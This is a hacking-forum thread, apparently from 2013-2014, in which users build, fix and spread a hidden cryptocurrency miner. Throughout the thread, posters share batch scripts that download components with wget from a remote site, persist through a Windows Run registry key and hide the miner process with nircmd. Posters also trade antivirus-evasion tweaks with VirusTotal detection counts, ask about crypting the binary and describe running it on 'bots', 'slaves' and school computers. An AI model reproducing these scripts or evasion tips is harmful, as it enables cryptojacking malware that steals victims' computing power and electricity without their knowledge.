Thread: [\[DIY\] Silent GPU Miner V2 - Let's make a silent miner! \[Bugfixes, Video Tutorial\]](#)

Cloud_Strife2020 - July 8, 2013, 11:02 am

[deleted]

ctheamazing - July 8, 2013, 11:07 am

Thanks man I am gonna try it out now.

Jay???? - July 8, 2013, 11:08 am

I saw your previous topic, and I can guarantee that this works.

It's a very good way to create a Silent Miner.

Cloud_Strife2020 - July 8, 2013, 11:15 am

(Jul 8, 2013 11:07 AM)ctheamazing Wrote: [\[CITE\]](#) Thanks man I am gonna try it out now. Let me know if it works and feel free to ask if you have questions!

(Jul 8, 2013 11:08 AM)¶aragraph™ Wrote: [\[CITE\]](#) I saw your previous topic, and I can guarantee that this works.

It's a very good way to create a Silent Miner.

Thank you very much! I'm glad to hear this.

Bustabit - July 9, 2013, 1:44 am

hey is there any way to make this work with litecoin mining

Cloud_Strife2020 - July 9, 2013, 1:56 am

(Jul 9, 2013 01:44 AM)blacksilver Wrote: [\[CITE\]](#) hey is there any way to make this work with litecoin mining

Yes, edit start.bat like this:

```
Code SET NRCMD="%appdata%\miner\nircmd.exe"
SET ARG1=-u user.1
SET ARG2=-p x -l d
SET ARGNRCMD=exec hide
SET ARG0=--script -o stratum+tcp://mine.pool-x.eu:9000
SET MINER="%appdata%\miner\cgminer.exe"
%NRCMD% %ARGNRCMD% %MINER% %ARG0% %ARG1% %ARG2%
Edit username, pool url and password!
```

Bustabit - July 9, 2013, 2:49 am

tired it still having some problems i just dont know what it is tested on 2 pcs at home one give an error the other just mines at the first pool where i first made the file to test .

KVVS - July 9, 2013, 2:54 am

Nice!

Gonna make a litecoin miner with this tonight

Might be an idea to use Poolers CPU optimized miner instead of CGminer?

Cloud_Strife2020 - July 9, 2013, 3:16 am

(Jul 9, 2013 02:54 AM)kvvs Wrote: [\[CITE\]](#) Nice!

Might be an idea to use Poolers CPU optimized miner instead of CGminer?

You can use whatever miner you want, just edit properly the start.bat, with right exe name and right arguments!

Poolers CPU miner is the minerd.exe?

Remember that is a cpu miner, cgminer uses GPU, is much better.

(Jul 9, 2013 02:49 AM)blacksilver Wrote: [\[CITE\]](#) tired it still having some problems i just dont know what it is tested on 2 pcs at home one give an error the other just mines at the first pool where i first made the file to test .

I need more information.

Check processes, before reinstalling, use the uninstall.bat.

>the other just mines at the first pool where i first made the file to test.

Use uninstall.bat then reboot and install again.

>one give an error

Be more specific, in that way i can't help you. Post a screenshot of the error.

nobitz - July 9, 2013, 5:21 am

I vouch for this miner. Gives the best results for me.

Will the .exe break if you crypt it with chronic crypter? Anyone tried this?

Cloud_Strife2020 - July 9, 2013, 6:27 am

(Jul 9, 2013 05:21 AM)nobitz Wrote: [\[CITE\]](#) I vouch for this miner. Gives the best results for me.

Will the .exe break if you crypt it with chronic crypter? Anyone tried this?

I tried to crypt it with xProtect, and yes it corrupted it.

If anyone have an idea how to crypt it or obfuscate let us know.

hansbald - July 9, 2013, 7:10 am

This is completly useless....

AV will it Pickup and you can have the same result with 10 lines of vb.net....

Why you would mine on your computer silent?

Cletus Kasady - July 9, 2013, 7:13 am

Wow that is a really hq tutorial, deffinatley going to try this out and save some money by not needing to buy one!

Viralboost.io - July 9, 2013, 7:27 am

How much money can you make while running several silent miners??

Cloud_Strife2020 - July 9, 2013, 8:15 am

(Jul 9, 2013 07:13 AM)Cletus Kasady Wrote: [\[CITE\]](#) Wow that is a really hq tutorial, deffinatley going to try this out and save some money by not needing to buy one!

Thank you very munch!

Why you would mine on your computer silent?

Some people got a good hashrate.

Anyway read the disclammer.

(Jul 9, 2013 07:27 AM)Mikezz Wrote: [\[CITE\]](#) How much money can you make while running several silent miners??

You should ask someone else, I have no idea!

Bustabit - July 9, 2013, 9:39 am

no it seems not to work for me ran uninstaller tried it again and even ran it on some bots not 1kh/s and with the settings that were working for me on slushys pool it just worked on my pc after that i ran it on 50 bots with no luck . But thank you for taking the time for the tut. it was cool .

nobitz - July 9, 2013, 10:42 am

SET INSTALLPATH="%appdata%\miner

should be

SET INSTALLPATH=%appdata%\miner

otherwise you get 'can't exec'

Cloud_Strife2020 - July 9, 2013, 11:53 am

(Jul 9, 2013 10:42 AM)nobitz Wrote: [\[CITE\]](#) SET INSTALLPATH="%appdata%\miner

should be

SET INSTALLPATH=%appdata%\miner

otherwise you get 'can't exec'

Omg another mistake.

There one should be right:

Code SET INSTALLPATH="%appdata%\miner

mkdir %INSTALLPATH%

wget.exe http://mysite.com/RAR.exe -O "%INSTALLPATH%\rar.exe"

wget.exe http://mysite.com/setup.rar -O "%INSTALLPATH%\setup.rar"

%INSTALLPATH%\RAR.exe x -o+ %INSTALLPATH%\setup.rar %INSTALLPATH%\

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d

"\"%appdata%\miner\nircmd.exe\" exec hide \"%appdata%\miner\start.bat\" /f

start %appdata%\miner\nircmd.exe exec hide %appdata%\miner\start.bat

Can some one test it?

Swissless - July 10, 2013, 12:58 pm

Thanks man for the Share I am gonna try it out now.

Uiqueblhats - July 13, 2013, 12:47 am

is it still undetected bro???
just asking...???

Cloud_Strife2020 - July 13, 2013, 12:49 am

(Jul 13, 2013 12:47 AM)Uiqueblhats Wrote: [\[CITE\]](#) is it still undetected bro???
just asking...???
The miner isn't.
The installer yes.

Fluxify - July 13, 2013, 3:37 pm

Thank you very munch!
I've tried the code you mention, but same thing.

rmauk692 - July 29, 2013, 3:53 am

wget is downloading the files but rar.exe doesnt seem to be extracting thm

kalandershihabrocker - July 30, 2013, 8:57 am

An awesome tutorial brother. Keep up the good work.

amazingxxx - August 3, 2013, 7:10 am

Can anyone confirm that it works? Followed the tutorial in the first thread a while ago but it was only mining with launched then stopped.

BladeZ201 - August 13, 2013, 2:10 am

I recommend people to use this line

```
"%appdata%\miner\nircmd.exe" exec hide "%appdata%\miner\cgminer.exe" -o  
stratum+tcp://stratum.mining.eligius.st:3334 -u username -p x -l d  
instead of the SET command as the AV does not detect this. ESET and Avast detect the SET  
command as Bitcoin miners. Btw, Thanks for this guide.
```

Disappear. - August 13, 2013, 6:48 am

i tried this, it indeed works, but i get an error "wget.exe could not be created" in windows 8

Hahar - August 13, 2013, 6:56 am

what is detection rate on this thing...probably 20-25/35 av detect it

BladeZ201 - August 13, 2013, 8:51 am

(Aug 13, 2013 06:56 AM)hahar Wrote: [\[CITE\]](#) what is detection rate on this thing...probably 20-25/35 av detect it

No, i tried it with virustotal when you use this

```
Code SET NRCMD="%appdata%\miner\nircmd.exe"
```

```
SET ARG1=-u username
```

```
SET ARG2=-p x -l d
```

```
SET ARGNRCMD=exec hide
```

```
SET ARG0=-o stratum+tcp://stratum.mining.eligius.st:3334
```

```
SET MINER="%appdata%\miner\cgminer.exe"
```

%NRCMD% %ARGNRCMD% %MINER% %ARG0% %ARG1% %ARG2%you will get 2/46 (my ESET detects it)and if you use this

```
Code "%appdata%\miner\nircmd.exe" exec hide "%appdata%\miner\cgminer.exe" -o
```

```
stratum+tcp://stratum.mining.eligius.st:3334 -u username -p x -l dyou will get 0/46 even my ESET  
can't detect it.
```

White Light - August 13, 2013, 10:29 am

Except both cgminer and nircmd are noticed by most AV suites...

Breakbeat Junkie - August 13, 2013, 12:09 pm

Huge vouch for this :D

The results:

+3 rep added, and thanks! :D

AintNoLackin - August 18, 2013, 11:19 am

is there any way to crypt this? it would be way more profitable if it could...

t3ix - August 18, 2013, 12:33 pm

hi, i have an error windows

windows don't found 'exec'

why ?

thanks

Arash5 - August 19, 2013, 10:34 am

Seems like my wget doesn't download the whole things.

The error which I get is Rar.exe isn't a valid Win32....

I tried monitoring my processes with Commview and it seems like wget doesn't download the whole thing for some reason, first i thought it was because of the hosting that i used but then i used an other one but the same error and Commview happend so I'm asking the people who say that it worked: Which Web Hosting/Hosting do you use? did you get the same error? if yes, what did you do?

Thanks in advance.

EDIT: seems like wget tries to download something from this

Hostname:ec2-107-21-44-248.compute-1.amazonaws.com.

Which i never added in my .bat files.

Any info could be helpful.

EDIT2: After reading what the last .bat file does and watching the commands run one by one i found out that you need to change your install.bat as following:

Quote:SET INSTALLPATH="%appdata%\miner

mkdir %INSTALLPATH%

wget.exe <http://site.com/rar.exe> --no-check-certificate -O "%INSTALLPATH%\rar.exe"

wget.exe <http://site.com/setup.exe> --no-check-certificate -O "%INSTALLPATH%\setup.rar"

%INSTALLPATH%\RAR.exe x -o+ %INSTALLPATH%\setup.rar %INSTALLPATH%\

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d

"\"%appdata%\miner\nircmd.exe\" exec hide \"%appdata%\miner\start.bat\" /f

start %appdata%\miner\nircmd.exe exec hide %appdata%\miner\start.bat As you can see i added --no-check-certificate to it. This will probably solve most of the errors such as exec and win32.

But still no CGminer process is found.

Donjett - August 19, 2013, 4:46 pm

(Aug 18, 2013 12:33 PM)t3ix Wrote: [\[CITE\]](#) hi, i have an error windows

windows don't found 'exec'

why ?

thanks

I get this error too i dont know why :S:S

t3ix - August 19, 2013, 6:15 pm

sorry don't work with no check certificate

Windows say open with ?

BladeZ201 - August 20, 2013, 3:53 am

@Donjett , @Arash5

If you guys are getting windows don't found 'exec'. Go to this line

SET INSTALLPATH="%appdata%\miner

and remove the " and " between appdata so it would be

SET INSTALLPATH=%appdata%\miner

The author created an error over there but he said that already in the previous post. You should check that one too.

t3ix - August 20, 2013, 5:21 am

Same problem

Windows say open with

AintNoLackin - August 20, 2013, 10:02 am

I just got this to work and i changed the process name, so far this is better than any miner i paid for it can mine the same mh/s without lagging the persons computer

t3ix - August 20, 2013, 3:19 pm

hi,

can you explain more please , can you put your code here

thanks

t3ix - August 21, 2013, 4:20 pm

Someone can help please, i don't found a solution

Cloud_Strife2020 - August 23, 2013, 2:01 am

Hello everyone! I'm really sorry for no support, but at the moment I have alot of work irl, so i can't follow the topic and answer all the questions and pms.

Some solutions were in past pages, or in the old thread.

When I'll have some free time, I'll try to fix all errors and make it all work better.

Stay tuned!

Shizzle-xD - August 26, 2013, 3:38 pm

Can you make a tutorial on how to get this to work with LTC?

Also, how do I enable CPU mining as well?

White Light - August 26, 2013, 3:45 pm

(Aug 26, 2013 03:38 PM)Shizzle-xD Wrote: [\[CITE\]](#) Can you make a tutorial on how to get this to work with LTC?

Also, how do I enable CPU mining as well?

cgminer works with LTC so the only thing you'll need to modify is your pool info. For CPU mining you'll need Pooler's CPU miner as we'll, however CPU mining is basically pointless and way more noticeable.

Shizzle-xD - August 27, 2013, 5:15 am

(Aug 26, 2013 03:45 PM)White Light Wrote: [\[CITE\]](#) cgminer works with LTC so the only thing you'll need to modify is your pool info. For CPU mining you'll need Pooler's CPU miner as we'll, however CPU mining is basically pointless and way more noticeable.

But don't I have to add -script somewhere?

White Light - August 27, 2013, 8:52 am

(Aug 27, 2013 05:15 AM)Shizzle-xD Wrote: [\[CITE\]](#) But don't I have to add -script somewhere? It should automatically detect it because of the work the pool sends, but if not you can add it anywhere in the parameters.

domin4tor322 - August 28, 2013, 1:25 pm

i need help to build my miner, when i build it the process of cgminer does not start :(who can help me via teamviewer?

i'm getting this error Code [http://\[censored\].com/r/2z5w009/5E](http://[censored].com/r/2z5w009/5E) Edit: i can't post link.. replace [censored] with : Tiny-pic without the "-"

Unbelievable - August 30, 2013, 12:42 am

how can i make this start up automatic on my slaves ? & how would iknow if their computers mining?

Elpadre - August 30, 2013, 11:36 pm

cool tutorial thanks for all tips ! =)

I would like to rep+ you for this awesome article/tutorial but i can't :/ anyway thanks you !

Best regards :)

t3ix - September 1, 2013, 2:15 pm

can you help me, it doesn't work please

zendigh - September 3, 2013, 5:53 am

Hi

Could you please tell me what I should put in start.bat to use slush pool? thanks

White Light - September 3, 2013, 10:38 am

(Sep 3, 2013 05:53 AM)zendigh Wrote: [\[CITE\]](#) Hi

Could you please tell me what I should put in start.bat to use slush pool? thanks
Follow the directions. Change the pool information to slush's pool.

TheBOG - September 15, 2013, 9:10 am

This thing works like a charm :)

Will need to customize a bit to add in cpu mining too but that's no big deal :)

cristianrash - September 20, 2013, 2:20 pm

when i start the miner, it opens an C:\Documents folder and the miner doesn't start, how can be doing wrong?

miserego - September 20, 2013, 2:33 pm

(Sep 20, 2013 02:20 PM)cristianrash Wrote: [\[CITE\]](#) when i start the miner, it opens an C:\Documents folder and the miner doesn't start, how can be doing wrong?

same shit bro! been trying for days to make it work editing files and shit but nothing.. :(

Andrija231 - September 21, 2013, 9:05 am

same for me. Can't get it to work on XP SP2.

amazingxx - September 28, 2013, 5:35 am

Works perfectly!

Remember to change:

```
SET INSTALLPATH="%appdata%\miner
```

to:

```
SET INSTALLPATH=%appdata%\miner
```

eye_of_the_tiger - November 7, 2013, 8:35 am

I want to give a huge thanks for this <3

By the way, im having troubles crypting this.
Is it even cryptable?

Result with 40 slaves,

i think the fud thing has something to do with the low mhs

globber - November 8, 2013, 2:18 am

thank you very much for such a good tutorial. I

ookin forward for the possibility of using a cpu miner in it. anyone got an idea?

thanks again, been learnin alot around here.

Alext96 - November 10, 2013, 7:07 am

(Sep 28, 2013 05:35 AM)amazingxx Wrote: [\[CITE\]](#) Works perfectly!

Remember to change:

```
SET INSTALLPATH="%appdata%\miner
```

to:

```
SET INSTALLPATH=%appdata%\miner
```

I repeated the whole process and it still doesnt work, it says the same error again.

capsar - November 13, 2013, 8:16 am

Let's say the person I want to give this to does not have admin rights, (School) I could put this file on a usb and then put it on the computer and run it right? even though it doesn't have admin rights.

PoLoW - November 21, 2013, 7:26 pm

I fixed a lot of errors , however I'm getting "Open with" box error How do i fix this ?

Looks like a Perfect Miner , nice share OP

Hiwhatsup - November 24, 2013, 2:50 pm

Gonna try this out tonight.

Thanks for the Tutorial

amazingxxx - November 24, 2013, 5:15 pm

Since you're use CGMINER you can make it mine LTC right?

Neebor - November 24, 2013, 6:52 pm

Is this good for spreading? or self use..

nynno - November 25, 2013, 6:07 am

If you're slave do NOT have Video card AMD or NVIDIA with SDK installed, the miner will not work :(even if they have AMD/NVIDIA card but SDK is not installed then again will not work, i tried many times.

TheExclusive - November 25, 2013, 10:26 am

I know how to make this thing work:

FIX 1 file: installer.bat
SET INSTALLPATH="%appdata%\miner
remove the " and " between appdata so it would be
SET INSTALLPATH=%appdata%\miner

FIX 2 file: start.bat
SET ARG2=-p x -l d
Remove the -l d so it would be
SET ARG2=-p x

goblin25 - November 26, 2013, 7:54 am

i've got a strange problem : wen i wants to rename : start.txt to start.bat it disappears !

read : Rename start.txt in start.bat and put it in your CGMiner folder.
wen making the start.bat its gone

windows 7 gamers edition ROG [rv3]

what to do next ?

(Nov 24, 2013 03:23 PM)soulangel123 Wrote: [\[CITE\]](#) I am facing some problems, I see my miner in process but when i login into slush pool, I cant see it is working. Maybe its because I had changed SET ARG0=-o stratum+tcp://stratum.mining.eligius.st:3334 into SET ARG0=-o stratum+tcp://stratum.bitcoin.cz:3333 :/

Sluch pool is not working whit this tool for multiply users
and slush pool needs worker login and password to
you cant login double/triple ect ect with the same worke

first you need to make alot workers there try it on a pool whee you can multiplying with users

RichBudda - November 26, 2013, 8:30 am

What?Explain better please...i don't understand D:

goblin25 - November 26, 2013, 9:44 am

oke il explane it better :

in top post : wen you create the start.txt file then you have to rename it to start.bat : here it is going
strange : i open the file start.txt with notepad then save it as . il rename the start.txt into start.bat
wen i click on the save button : look into the directory : no start.bat

and i do that in the same directory so thats not the point

i hope i did explane it right this time ,

thanks in advanced for help
ah i found the problem !

its this text :

in start.bat :

```
Code SET NRCMD="%appdata%\miner\nircmd.exe"
```

```
SET ARG1=-u userpass
```

```
SET ARG2=-p x -l d
```

```
SET ARGNRCMD=exec hide
```

```
SET ARG0=-o stratum+tcp://stratum.mining.eligius.st:3334
```

```
SET MINER="%appdata%\miner\cgminer.exe"
```

```
%NRCMD% %ARGNRCMD% %MINER% %ARG0% %ARG1% %ARG2%
```

```
eset anti virus( THE Newest !) say's : BAT/coinminerBH Trojan and put it directly into Quarantaine  
!
```

solved with only this line :

start.bat

```
"%appdata%\miner\nircmd.exe" exec hide "%appdata%\miner\cgminer.exe" -o  
stratum+tcp://stratum.mining.eligius.st:3334 -u username -p x -l d
```

crystalykush - November 26, 2013, 12:46 pm

(Aug 13, 2013 08:51 AM)BladeZ201 Wrote: [\[CITE\]](#) Code "%appdata%\miner\nircmd.exe" exec hide
"%appdata%\miner\cgminer.exe" -o stratum+tcp://stratum.mining.eligius.st:3334 -u username -p x -l
dyou will get 0/46 even my ESET can't detect it.
with this code can you add in the --script still ?

goblin25 - November 27, 2013, 12:23 am

no look at this link :

[For this cgminer](#)

at slush's Pool :[no script mining]

No, merged mining of namecoins has been suspended as the Namecoin project isn't maintained anymore.

for scrip mining linke litecoins take an other pool : google it ?
oke so far so good :

next problem :

wen creating the SFX file : i did all whats been wrote on post one for adding comments ect,ect, but wen it comes to the icon : it still keeps his own icon not the one i want and wen its made like :
installer.exe
right click properties acrhive you see selfextracting acrhive

what to do ?

Mr. Gregory - November 27, 2013, 2:52 am

I got it working perfectly, but when it restarts the process does not start. My bat key is :

```
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d  
"%appdata%\miner\nircmd.exe" exec hide \"%appdata%\miner\start.bat\" /f
```

```
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d  
"%appdata%\miner\nircmd.exe" exec hide \"%appdata%\miner\start.bat\" /fOk. I got it. I used  
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d  
"%appdata%\miner\start.bat"
```

and in miner/start.bat repalce with:
"%~dp0\nircmd.exe"

goblin25 - November 27, 2013, 5:40 am

(Nov 27, 2013 03:52 AM)Mr. Gregory Wrote: [\[CITE\]](#) I got it working perfectly, but when it restarts the process does not start. My bat key is :

```
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d  
"%appdata%\miner\nircmd.exe" exec hide \"%appdata%\miner\start.bat\" /f
```

Ok. I got it. I used
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d
"%appdata%\miner\start.bat"

and in miner/start.bat repalce with:
"%~dp0\nircmd.exe"

and is it hiding ??

and what doe you mean with :

Quote:and in miner/start.bat repalce with:
"%~dp0\nircmd.exe"

amazingxxx - November 27, 2013, 6:14 pm

How would you make it mine scrypt?

I changed the .bat to look like this:

```
Code SET NRCMD="%appdata%\miner\nircmd.exe"  
SET ARG1=---scrypt -u username  
SET ARG2=-p x -l d  
SET ARGNRCMD=exec hide
```

```
SET ARG0=-o stratum+tcp://anyltcpool
SET MINER="%appdata%\miner\cgminer.exe"
%NRCMD% %ARGNRCMD% %MINER% %ARG0% %ARG1% %ARG2%Would this work?
```

ProNerd - November 28, 2013, 12:45 pm

Can you write me what i need exactly to write for not get detected from the AV in the start.bat?PLEASE?

I infected 20 bots but i dont know why in eligius there are no hashrate even if i removed the "-l d" from the start bat to get more power from the bot? Why it not give me any hashrate PLEASE HELP ME!?!?!?

goblin25 - November 29, 2013, 11:05 am

i am using a other miner minerd

replace the miner whit this one and use this to add it in your start.bat

minerd --url <http://mining.eligius.st:8337> --userpass your BTC adres:x -t 1 -a sha256d -r2

NOTE : -t 1 is using one core that way you wont be noticed at all

nothing more just ad you own btc adres it runs like hell

so lett all text be that but whats underscored replace with your own BTC adres

and dont forget to replace the miner in you bats files !!!

ProNerd - November 29, 2013, 11:15 am

Hi dude. Thanks for your TuT. But I have a question. Can we use this silent miner with a botnet ? How ?

ProNerd - November 30, 2013, 4:53 am

HOW CAN I USE THIS SILENT WITH GUI-MINER?

CGMINER say that No Devices Found! LOLLOL

It seems that this thread if closed....

Lefty2Guns - November 30, 2013, 5:58 pm

(Nov 29, 2013 02:37 PM)Sylon Wrote: [CITE](#) Hi dude. Thanks for your TuT. But I have a question. Can we use this silent miner with a botnet ? How ?

Maby use a download-and-run option on your botnet?

Btw, thanks for this, really usefull! But when i run the installer, it leaves a .bin file. When i delete that, my hashrate drops?

Any idea what this is? Thanks.

Digital Overflow - December 1, 2013, 4:20 am

Hello! I get error everytime i try to run start.exe . It says WINDOWS CANNOT FIND 'exec'. MAKE SURE YOU TYPED THE NAME CORRECTLY , AND THEN TRY AGAIN. I think error is somewhere here SET ARGNRCMD=exec hide i guess. I dont know what do do. Please help

boocat - December 2, 2013, 12:14 am

Lol i get 4-12kh/s with this and 176kh/s running it normally :S
i tried popping in --intensity 13 at the end of SET ARG0=--scrypt -o
stratum+tcp://us.ltcrabbit.com:3333
and it had little to no effect :S
tried editing it many other ways and none even get the fan to kick up

andy1995 - December 3, 2013, 12:46 pm

(Dec 2, 2013 01:14 AM)boocat Wrote: [\[CITE\]](#) Lol i get 4-12kh/s with this and 176kh/s running it normally :S

Just add new variable, ex. ARGe= -l 13, and add it in execute line.

syrus - December 3, 2013, 2:49 pm

I did everything good, test it on myself and get 0kh/s dunno what's wrong :/ with "non silent" cgminer
i get normal kh/s rate
I solved this problem ^

But i have other one, when i kill process in task manager it won't start again.

daroz - December 5, 2013, 1:41 pm

Be carefull!

Cgminer last update doesn't support gpu mining.
It moves to ASICs.

So you will have to download the 3.7.2 update of cgminer in order to make it works!

Hope it helped:)

[vallium] - December 6, 2013, 5:14 am

all step working..
download files and etc.
final step have this problem..

--

exec

--

Windows can not find 'exec'. Verify that you typed the name correctly, and then try again. To search for a file, click "Start" and then click "Find".

--

OK

--

help pls

Malekyth - December 6, 2013, 12:13 pm

It says

windows cannot find exec make sure you typed the name correctly

What to do?

And that rar.exe is not a valid win32 application.

What to do?

I have windows 7 but i downloaded the winrar x86..

Edit:

I have made it to work but my AVG detected it ,what to do?

Skiezo™ - December 7, 2013, 8:14 am

This looks like legit shit. I'm not in need of using it, but it looks very good and it's very well explained.

Good job on this tutorial.

RevolutionistHacker - December 7, 2013, 8:28 am

OMG thanx allot just the type of thing i needed to get some free btc

btcentremist - December 7, 2013, 4:51 pm

For anyone getting the "windows cannot find exec" error , here's how I fixed it.

In installer.bat, remove the quotes in the first line. Double check your capitalization for rar.exe. Mine was "Rar.exe".

Here's the script that works for me:

```
SET INSTALLPATH=%appdata%\miner
mkdir %INSTALLPATH%
wget.exe http://mysite.com/Rar.exe -O "%INSTALLPATH%\rar.exe"
wget.exe http://mysite.com/setup.rar -O "%INSTALLPATH%\setup.rar"
%INSTALLPATH%\RAR.exe x -o+ %INSTALLPATH%\setup.rar %INSTALLPATH%\
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d
"%appdata%\miner\nircmd.exe" exec hide \"%appdata%\miner\start.bat\" /f
start %INSTALLPATH%\nircmd.exe exec hide %INSTALLPATH%\start.bat
```

Malekyth - December 8, 2013, 1:02 am

How to make it FUD?

Crypt cgminer.exe?

datadir - December 15, 2013, 5:18 am

I'm having the same problem as of now, why? ?

mistix - December 20, 2013, 2:51 pm

has anybody tested this as scrypt miner and how much hashrate are you getting???

techhackerz - December 21, 2013, 1:22 am

hey!!!

everything gone fine but mining process is not starting!!!

killer34000 - December 21, 2013, 1:28 am

im mining on this pool <https://www.ltcrabbit.com/#afaxwt> with 38 bots and i got 200 kh/s is it good?

mistix - December 21, 2013, 2:56 pm

but is this useful if you wanna mine with slaves?

cgminer requires extra configuration

so forget cpu mining

for gpu you have to install additional files for amd, for nvidia also

then the SDK and all other sorts of stuff

so unless your slave has all of this done, this method is not working right??

ha4x00r - December 22, 2013, 2:07 am

Anyone who use this program to install mining software on unknowing victims are fucktards really. Would you be happy if someone would install it on your computer without knowledge? Especially if you live in a country where electrical power can be very expensive. Just saying.

^Beautiful.

Bookmarking thread, i'll try this out tomorrow. Thanks for the work, OP.

NaKiMiJasi???????????? - January 3, 2014, 7:24 am

Anyone resolve problem with miner ??

IncludeBeer - January 3, 2014, 11:28 am

I'm excited to try this with feathercoin mining! I have 1 question though: I want to use pooler's cpuminer instead of cgminer since none of my slaves have much of anything for gpu. However, pooler's cpuminer (minerD) has to use mining proxy to connect to stratum pools. I have the mining proxy, but what do I need to edit to make sure it starts when minerD starts? Also, do I need to make a new worker for each slave I want to distribute this to, or can they all work on the same worker?

Thanks!

Linemile - January 4, 2014, 12:41 am

edit: both install.bat and the final SFX archive will start running, install wget into the proper folder... and then they both shit out. They give me good ol' "Windows cannot find 'C:\Users\NAME". It's because I have a space in my computer's username, which means the batch is having trouble finding the given directory. Can someone tell me which part of which code I should change to make the batch properly accept my username? I've tried messing with the first lines of both start.bat and install.bat, to no avail. Any help would be greatly appreciated.

y8tvkid - January 4, 2014, 8:27 am

Nice !! Test It Now Thanks For The Miner!

Linemile - January 4, 2014, 10:43 pm

Still having trouble, this damn 'cant find' error won't go away. Everything works except for this one thing, which is a real bummer. anybody found out how to change this to stop spaces in the directory from fucking up the .bat? it's a simple fix, i just don't know which part of the file to change..

Farcryman - January 6, 2014, 8:47 am

I did that miner about 6 times , and it still not working.

In Task manager I see that process but hashrate is still 0 (I try mining NVC on <https://nvc.khore.org/> beacuse BTC is worth).

What I do wrong ? Someone help me ?

PS: There is what I do [

Any suggestions

EDIT:NEVERMIND GOT IT TO WORK

Thanks

commanderhari - January 12, 2014, 9:11 pm

what are the changes that i need to make in this to use cpuminer instead of cgminer...? thank you... nice and usefull tutorial

takeshiahi - January 14, 2014, 10:19 am

Very nice and elegant, will give this a go and see how it fares.

Thanks.

vitalxp - January 23, 2014, 1:45 am

(Jan 12, 2014 10:11 PM)commanderhari Wrote: [\[CITE\]](#) what are the changes that i need to make in this to use cpuminer instead of cgminer...? thank you... nice and usefull tutorial

You can use ufasoft miner. It detects CPU and GPU, and if its possible start GPU mining.

Simply download ufasoft miner and use coin.exe for mining in the same way.

fribourg - January 25, 2014, 4:53 am

I've followed the tutorial fully and done exactly as mentioned. Watched VirtuaNick's video a few times and still no result. When i run my miner nothing happens at least that I notice of.

No cgminer.exe in the processes list nothing.

The only thing I noticed after modifying the line :

Code reg add "HKCU\SOFTWARE\Microsoft\Windows\Current--Version\Run" ... (from your first thread) to Code reg add "HKCU\SOFTWARE\Microsoft\Windows\Current-Version\Run"

Removed the "--" ; when i ran the installer a winrar window popped up saying directory wget.exe.exe could not be created. - so basically the process wasn't even running silent.

This pic below shows that the /miner is installed ... but it would not start.. since there is no process to show that as I mentioned.

Code <http://prntscr.com/2menaw>

I also have some issues understanding exactly what I have to modify in order to modify the process name in task manager. Can anybody help me with these issues?

One other thing the Rar.exe file, if copied from the installation folder will it act like and installation file when run? The installer file is different for winrar from the exe file that starts the program. Which file should I use?

I am a newbie around hackforums, been registered for a while, but am not much into it, I am more of a marketing guy, so I just lurked the forum now and then. But this bitcoin silent mining interests

me.

Thank you OP and other contributors to this thread.

noipcomet - January 25, 2014, 7:47 am

help please

```
SET NRCMD="%appdata%\miner\nircmd.exe"
SET ARG1=-u user.1
SET ARG2=-p x -l d
SET ARGNRCMD=exec hide
SET ARG0=--scrypt -o stratum+tcp://mine.pool-x.eu:9000
SET MINER="%appdata%\miner\cgminer.exe"
%NRCMD% %ARGNRCMD% %MINER% %ARG0% %ARG1% %ARG2%
```

where do i put for username? my litecoin address? or my user namer for pool-x.eu?
and where do i put my password?

fribourg - January 25, 2014, 8:16 am

That is explained in full in this tutorial.

Not sure if you can mine litecoins with this miner.

you replace the username with your given username

"x" with your password

and I guess the address is correct.

Anyone can help me out with my problem?

Starhost.co.uk, sorry cant send pm's, few posts, you can pm me your skype?

Thank you

noipcomet - January 25, 2014, 8:17 am

(Aug 13, 2013 08:51 AM)BladeZ201 Wrote: [CITE](#) No, i tried it with virustotal when you use this Code SET NRCMD="%appdata%\miner\nircmd.exe"

```
SET ARG1=-u username
SET ARG2=-p x -l d
SET ARGNRCMD=exec hide
SET ARG0=-o stratum+tcp://stratum.mining.eligius.st:3334
SET MINER="%appdata%\miner\cgminer.exe"
%NRCMD% %ARGNRCMD% %MINER% %ARG0% %ARG1% %ARG2%you will get 2/46 (my
ESET detects it)and if you use this
```

Code "%appdata%\miner\nircmd.exe" exec hide "%appdata%\miner\cgminer.exe" -o stratum+tcp://stratum.mining.eligius.st:3334 -u username -p x -l dyou will get 0/46 even my ESET can't detect it.

could you help me with making this miner by any chance?

(Aug 13, 2013 02:10 AM)BladeZ201 Wrote: [CITE](#) I recommend people to use this line "%appdata%\miner\nircmd.exe" exec hide "%appdata%\miner\cgminer.exe" -o stratum+tcp://stratum.mining.eligius.st:3334 -u username -p x -l d instead of the SET command as the AV does not detect this. ESET and Avast detect the SET

command as Bitcoin miners. Btw, Thanks for this guide.
Where would i put this line of code in on this?

```
SET NRCMD="%appdata%\miner\nircmd.exe"  
SET ARG1=-u User  
SET ARG2=-p x -l d  
SET ARGNRCMD=exec hide  
SET ARG0=--script -o stratum+tcp://mine.pool-x.eu:9000  
SET MINER="%appdata%\miner\cgminer.exe"  
%NRCMD% %ARGNRCMD% %MINER% %ARG0% %ARG1% %ARG2%
```

fribourg - January 25, 2014, 9:44 am

Nobody here can help me set this up properly? I've been wasting the whole day and still can't get the cgminer to run..

I can offer installs. & 1st coin made to the one whole helps me with this.

Might this be my problem ? :

I think I might have found my problem ... playing with the install.bat file, renamed Rar.exe to rar.exe in the line of code and also the file name. Also tried to rename the setup.rar in the line of code

Code wget.exe http://mysite.com/setup.rar -O "%INSTALLPATH%\setup.rar"
to startup.rar ; anyway my output was actually promising i managed to see 2 processes running in my task manager - problem is the only thing that happens is the folder /miner is created and the 2 files are downloaded ..

I really need some help with this.
Spent the whole day still not getting it to work.

Edit: Last test for the day, all done as tutorial sais.. everything gets installed in the /miner folder, but I do not see a wget.exe file in the /miner folder & no cgminer.exe running in my processes list :/ The problem i see here is the install.bat file (name of files / capital letters / lower case etc.)

